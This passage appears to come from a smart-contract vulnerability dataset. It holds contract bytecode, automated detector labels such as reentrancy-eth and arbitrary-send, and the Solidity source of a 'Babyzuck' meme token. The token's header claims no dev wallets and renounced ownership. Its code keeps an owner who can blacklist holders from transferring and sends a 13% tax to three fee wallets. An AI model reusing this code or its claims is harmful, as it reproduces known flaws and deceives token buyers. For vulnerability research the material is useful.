01600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba69190611c0b565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3c5760405162461bcd60e51b81526004016104fc90611b79565b600f811115610c835760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104fc565b600855565b6000546001600160a01b03163314610cb25760405162461bcd60e51b81526004016104fc90611b79565b6001600160a01b038116610d175760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fc565b61051b816114bc565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6857610d68611bae565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de59190611c0b565b81600181518110610df857610df8611bae565b6001600160a01b039283166020918202929092010152600b54610e1e9130911684610e9a565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e57908590600090869030904290600401611c28565b600060405180830381600087803b158015610e7157600080fd5b505af1158015610e85573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610efc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fc565b6001600160a01b038216610f5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fc565b6001600160a01b0382166110845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fc565b600081116110e65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fc565b6001600160a01b03831660009081526005602052604090205460ff161561118e5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fc565b6001600160a01b03831660009081526004602052604081205460ff161580156111d057506001600160a01b03831660009081526004602052604090205460ff16155b80156111e65750600c54600160a81b900460ff16155b80156112165750600c546001600160a01b03858116911614806112165750600c546001600160a01b038481169116145b156113ec57600c54600160b81b900460ff166112745760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fc565b50600c546001906001600160a01b0385811691161480156112a35750600b546001600160a01b03848116911614155b80156112b0575042600e54115b156112f75760006112c0846106bc565b90506112e060646112da678ac7230489e80000600261150c565b9061158e565b6112ea84836115d0565b11156112f557600080fd5b505b600d544203611324576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132f306106bc565b600c54909150600160b01b900460ff1615801561135a5750600c546001600160a01b03868116911614155b156113ea5780156113ea57600c5461138e906064906112da90600f90611388906001600160a01b03166106bc565b9061150c565b8111156113bb57600c546113b8906064906112da90600f90611388906001600160a01b03166106bc565b90505b60006113c882600561158e565b90506113d48183611c99565b91506113df8161162f565b6113e882610d20565b505b505b6113f88484848461165f565b50505050565b600081848411156114225760405162461bcd60e51b81526004016104fc9190611948565b50600061142f8486611c99565b95945050505050565b600060065482111561149f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fc565b60006114a9611762565b90506114b5838261158e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008260000361151e5750600061052f565b600061152a8385611cb0565b9050826115378583611ccf565b146114b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fc565b60006114b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611785565b6000806115dd8385611bf3565b9050838110156114b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fc565b600c805460ff60b01b1916600160b01b17905561164f3061dead83610fbe565b50600c805460ff60b01b19169055565b808061166d5761166d6117b3565b60008060008061167c876117cf565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116a99085611816565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116d890846115d0565b6001600160a01b0389166000908152600160205260409020556116fa81611858565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161173f91815260200190565b60405180910390a3505050508061175b5761175b600954600855565b5050505050565b600080600061176f6118a2565b909250905061177e828261158e565b9250505090565b600081836117a65760405162461bcd60e51b81526004016104fc9190611948565b50600061142f8486611ccf565b6000600854116117c257600080fd5b6008805460095560009055565b6000806000806000806117e4876008546118e2565b9150915060006117f2611762565b90506000806118028a858561190f565b909b909a5094985092965092945050505050565b60006114b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113fe565b6000611862611762565b90506000611870838361150c565b3060009081526001602052604090205490915061188d90826115d0565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118bd828261158e565b8210156118d957505060065492678ac7230489e8000092509050565b90939092509050565b600080806118f560646112da878761150c565b905060006119038683611816565b96919550909350505050565b6000808061191d868561150c565b9050600061192b868661150c565b905060006119398383611816565b92989297509195505050505050565b600060208083528351808285015260005b8181101561197557858101830151858201604001528201611959565b81811115611987576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051b57600080fd5b80356119bd8161199d565b919050565b600080604083850312156119d557600080fd5b82356119e08161199d565b946020939093013593505050565b600080600060608486031215611a0357600080fd5b8335611a0e8161199d565b92506020840135611a1e8161199d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a5857600080fd5b823567ffffffffffffffff80821115611a7057600080fd5b818501915085601f830112611a8457600080fd5b813581811115611a9657611a96611a2f565b8060051b604051601f19603f83011681018181108582111715611abb57611abb611a2f565b604052918252848201925083810185019188831115611ad957600080fd5b938501935b82851015611afe57611aef856119b2565b84529385019392850192611ade565b98975050505050505050565b600060208284031215611b1c57600080fd5b81356114b58161199d565b60008060408385031215611b3a57600080fd5b8235611b458161199d565b91506020830135611b558161199d565b809150509250929050565b600060208284031215611b7257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611bec57611bec611bc4565b5060010190565b60008219821115611c0657611c06611bc4565b500190565b600060208284031215611c1d57600080fd5b81516114b58161199d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c785784516001600160a01b031683529383019391830191600101611c53565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611cab57611cab611bc4565b500390565b6000816000190483118215151615611cca57611cca611bc4565b500290565b600082611cec57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eeb4812fe2fda1475be3d02c6eefa366f9f5210f1fe09c21a1623ee7fdf6d2d064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,277 |
0x772e4597d19fba12a5b37a3b0ef305eefb124abe
|
/**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
/*
// No dev-wallets
// Locked liquidity
// Renounced ownership!
// No tx modifiers
// Community-Driven
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Babyzuck is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "Baby Zuck || https://t.me/BabyZuck";
string private constant _symbol = "BabyZuck";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1,address payable _add2,address payable _add3) {
_feeAddrWallet1 = _add1;
_feeAddrWallet2 = _add2;
_feeAddrWallet3 = _add3;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 1;
_feeAddr2 = 12;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > _tTotal/1000){
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function liftMaxTrnx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/10*3);
_feeAddrWallet2.transfer(amount/10*3);
_feeAddrWallet3.transfer(amount/10*3);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal/100*2;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklist(address _address) external onlyOwner{
bots[_address] = true;
}
function removeBlacklist(address notbot) external onlyOwner{
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102d1578063c9567bf9146102e6578063dd62ed3e146102fb578063eb91e65114610341578063f9f92be41461036157600080fd5b8063715018a6146102435780638da5cb5b1461025857806395d89b4114610280578063a9059cbb146102b157600080fd5b8063313ce567116100dc578063313ce567146101bb57806335ffbc47146101d75780635932ead1146101ee5780636fc3eaec1461020e57806370a082311461022357600080fd5b806306fdde0314610119578063095ea7b31461014457806318160ddd1461017457806323b872dd1461019b57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e610381565b60405161013b9190611610565b60405180910390f35b34801561015057600080fd5b5061016461015f366004611580565b6103a1565b604051901515815260200161013b565b34801561018057600080fd5b5069d3c21bcecceda10000005b60405190815260200161013b565b3480156101a757600080fd5b506101646101b6366004611540565b6103b8565b3480156101c757600080fd5b506040516009815260200161013b565b3480156101e357600080fd5b506101ec610421565b005b3480156101fa57600080fd5b506101ec6102093660046115ab565b610464565b34801561021a57600080fd5b506101ec6104ac565b34801561022f57600080fd5b5061018d61023e3660046114d0565b6104d9565b34801561024f57600080fd5b506101ec6104fb565b34801561026457600080fd5b506000546040516001600160a01b03909116815260200161013b565b34801561028c57600080fd5b50604080518082019091526008815267426162795a75636b60c01b602082015261012e565b3480156102bd57600080fd5b506101646102cc366004611580565b61056f565b3480156102dd57600080fd5b506101ec61057c565b3480156102f257600080fd5b506101ec6105b2565b34801561030757600080fd5b5061018d610316366004611508565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561034d57600080fd5b506101ec61035c3660046114d0565b6109a0565b34801561036d57600080fd5b506101ec61037c3660046114d0565b6109eb565b60606040518060600160405280602281526020016117d860229139905090565b60006103ae338484610a39565b5060015b92915050565b60006103c5848484610b5d565b6104178433610412856040518060600160405280602881526020016117b0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d1b565b610a39565b5060019392505050565b6000546001600160a01b031633146104545760405162461bcd60e51b815260040161044b90611663565b60405180910390fd5b69d3c21bcecceda1000000601155565b6000546001600160a01b0316331461048e5760405162461bcd60e51b815260040161044b90611663565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104cc57600080fd5b476104d681610d55565b50565b6001600160a01b0381166000908152600260205260408120546103b290610e3e565b6000546001600160a01b031633146105255760405162461bcd60e51b815260040161044b90611663565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103ae338484610b5d565b600c546001600160a01b0316336001600160a01b03161461059c57600080fd5b60006105a7306104d9565b90506104d681610ec2565b6000546001600160a01b031633146105dc5760405162461bcd60e51b815260040161044b90611663565b601054600160a01b900460ff16156106365760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044b565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610674308269d3c21bcecceda1000000610a39565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ad57600080fd5b505afa1580156106c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e591906114ec565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561072d57600080fd5b505afa158015610741573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076591906114ec565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ad57600080fd5b505af11580156107c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e591906114ec565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610815816104d9565b60008061082a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561088d57600080fd5b505af11580156108a1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108c691906115e3565b50506010805461ffff60b01b191661010160b01b179055506108f3606469d3c21bcecceda1000000611720565b6108fe906002611740565b60115560108054600160a01b60ff60a01b19821617909155600f5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801561096457600080fd5b505af1158015610978573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099c91906115c7565b5050565b6000546001600160a01b031633146109ca5760405162461bcd60e51b815260040161044b90611663565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314610a155760405162461bcd60e51b815260040161044b90611663565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a9b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b038216610afc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610bbf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044b565b6001600160a01b03831660009081526006602052604090205460ff1615610be557600080fd5b6001600160a01b0383163014610d0b576001600a55600c600b556010546001600160a01b038481169116148015610c2a5750600f546001600160a01b03838116911614155b8015610c4f57506001600160a01b03821660009081526005602052604090205460ff16155b8015610c645750601054600160b81b900460ff165b15610c7857601154811115610c7857600080fd5b6000610c83306104d9565b9050610c9b6103e869d3c21bcecceda1000000611720565b811115610d0957601054600160a81b900460ff16158015610cca57506010546001600160a01b03858116911614155b8015610cdf5750601054600160b01b900460ff165b15610d0957610ced81610ec2565b47670429d069189e0000811115610d0757610d0747610d55565b505b505b610d16838383611067565b505050565b60008184841115610d3f5760405162461bcd60e51b815260040161044b9190611610565b506000610d4c848661175f565b95945050505050565b600c546001600160a01b03166108fc610d6f600a84611720565b610d7a906003611740565b6040518115909202916000818181858888f19350505050158015610da2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610dbd600a84611720565b610dc8906003611740565b6040518115909202916000818181858888f19350505050158015610df0573d6000803e3d6000fd5b50600e546001600160a01b03166108fc610e0b600a84611720565b610e16906003611740565b6040518115909202916000818181858888f1935050505015801561099c573d6000803e3d6000fd5b6000600854821115610ea55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044b565b6000610eaf611072565b9050610ebb8382611095565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f1857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f6c57600080fd5b505afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa491906114ec565b81600181518110610fc557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f54610feb9130911684610a39565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611024908590600090869030904290600401611698565b600060405180830381600087803b15801561103e57600080fd5b505af1158015611052573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610d168383836110d7565b600080600061107f6111ce565b909250905061108e8282611095565b9250505090565b6000610ebb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611212565b6000806000806000806110e987611240565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061111b908761129d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461114a90866112df565b6001600160a01b03891660009081526002602052604090205561116c8161133e565b6111768483611388565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111bb91815260200190565b60405180910390a3505050505050505050565b600854600090819069d3c21bcecceda10000006111eb8282611095565b8210156112095750506008549269d3c21bcecceda100000092509050565b90939092509050565b600081836112335760405162461bcd60e51b815260040161044b9190611610565b506000610d4c8486611720565b600080600080600080600080600061125d8a600a54600b546113ac565b925092509250600061126d611072565b905060008060006112808e878787611401565b919e509c509a509598509396509194505050505091939550919395565b6000610ebb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d1b565b6000806112ec8385611708565b905083811015610ebb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044b565b6000611348611072565b905060006113568383611451565b3060009081526002602052604090205490915061137390826112df565b30600090815260026020526040902055505050565b600854611395908361129d565b6008556009546113a590826112df565b6009555050565b60008080806113c660646113c08989611451565b90611095565b905060006113d960646113c08a89611451565b905060006113f1826113eb8b8661129d565b9061129d565b9992985090965090945050505050565b60008080806114108886611451565b9050600061141e8887611451565b9050600061142c8888611451565b9050600061143e826113eb868661129d565b939b939a50919850919650505050505050565b600082611460575060006103b2565b600061146c8385611740565b9050826114798583611720565b14610ebb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044b565b6000602082840312156114e1578081fd5b8135610ebb8161178c565b6000602082840312156114fd578081fd5b8151610ebb8161178c565b6000806040838503121561151a578081fd5b82356115258161178c565b915060208301356115358161178c565b809150509250929050565b600080600060608486031215611554578081fd5b833561155f8161178c565b9250602084013561156f8161178c565b929592945050506040919091013590565b60008060408385031215611592578182fd5b823561159d8161178c565b946020939093013593505050565b6000602082840312156115bc578081fd5b8135610ebb816117a1565b6000602082840312156115d8578081fd5b8151610ebb816117a1565b6000806000606084860312156115f7578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561163c57858101830151858201604001528201611620565b8181111561164d5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156116e75784516001600160a01b0316835293830193918301916001016116c2565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561171b5761171b611776565b500190565b60008261173b57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561175a5761175a611776565b500290565b60008282101561177157611771611776565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146104d657600080fd5b80151581146104d657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542616279205a75636b207c7c2068747470733a2f2f742e6d652f426162795a75636ba2646970667358221220c3ca1019e536b302a6854d86592fbfd63c93965ffef43a650b193d9bdb1bf7b564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,278 |
0x9D52088f9869824f6584Ca8691777aEddA7BE0Dd
|
/**
=== About ===
Leek Finance (LEEK)
Discover a MEME token with reliable tokenomics, anti-whale & anti-bot functions, built for success.
Going from a fun idea, to a robust contract. A-Team.
